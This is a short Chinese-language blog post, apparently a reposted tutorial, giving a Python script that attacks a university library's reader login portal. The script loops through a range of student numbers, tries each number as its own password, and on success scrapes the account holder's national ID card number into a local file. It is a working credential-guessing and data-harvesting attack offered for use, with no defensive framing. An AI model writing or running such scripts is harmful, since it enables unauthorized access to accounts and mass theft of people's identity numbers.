Python 获取学校图书馆OAPC账号对应的身份证号码
1 import urllib.request 2 import urllib.parse 3 import http.cookiejar 4 import re 5 6 lib_login = ‘http://xxx.edu.cn/reader/redr_verify.php‘ 7 8 def get_info(number, passwd, myfile): 9 cj = http.cookiejar.CookieJar() 10 pro = urllib.request.HTTPCookieProcessor(cj) 11 opener = urllib.request.build_opener(pro) 12 13 postDict = { 14 ‘number‘:str(number), 15 ‘passwd‘:str(passwd), 16 ‘select‘:‘cert_no‘, 17 ‘returnUrl‘:‘‘ 18 } 19 postData = urllib.parse.urlencode(postDict).encode() 20 op = opener.open(lib_login, postData) 21 data = op.read().decode() 22 log_ok = False 23 is_login = re.compile(‘<font color="blue">.*</font>‘) 24 for x in is_login.findall(data): 25 login_ok = re.compile(‘<[^>]+>‘) 26 login_ok = login_ok.sub(‘‘, x) 27 if login_ok != ‘‘: 28 log_ok = True 29 else: 30 log_ok = False 31 if log_ok: 32 person_id = re.compile(‘身份证号: </span>\d*</TD>‘) 33 for x in person_id.findall(data): 34 usr_psw = re.compile(‘<[^>]+>‘) 35 usr_psw = usr_psw.sub(‘‘, x) 36 usr_psw += ‘\n‘ 37 number = str(number) 38 number += ‘ ‘ 39 myfile.write(number) 40 myfile.write(usr_psw) 41 myfile.flush() 42 print(number + ‘OK‘) 43 print(usr_psw) 44 45 f = open(‘wifi2013.txt‘, ‘a‘) 46 for i in range(2013002734, 2013003980): 47 get_info(i, i, f) 48 f.close()
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。